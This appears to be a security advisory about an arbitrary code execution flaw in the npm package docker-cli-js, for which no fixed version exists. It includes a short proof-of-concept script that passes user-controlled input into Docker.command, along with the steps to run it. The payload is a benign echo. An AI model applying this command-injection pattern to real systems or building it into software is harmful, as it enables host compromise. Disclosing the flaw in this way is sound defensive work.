The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Execution vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for docker-cli-js
.
Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command
parameter of the Docker.command
method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.
Create a file named exploit.js
with the following content:
var dockerCLI = require('docker-cli-js'); var DockerOptions = dockerCLI.Options; var Docker = dockerCLI.Docker;
var docker = new Docker();
var userInput = "echo 'Hello from the container'";
docker.command(
exec container-test bash -c "${userInput}"
, function (err, data) { console.log('data = ', data); });
In the same directory as exploit.js
, run npm install docker-cli-js
.
Create a background Docker container named container-test
: docker run --name container-test -d ubuntu sleep 1000
Run exploit.js
: node exploit.js
.
You should see the outputs of both the container and host system.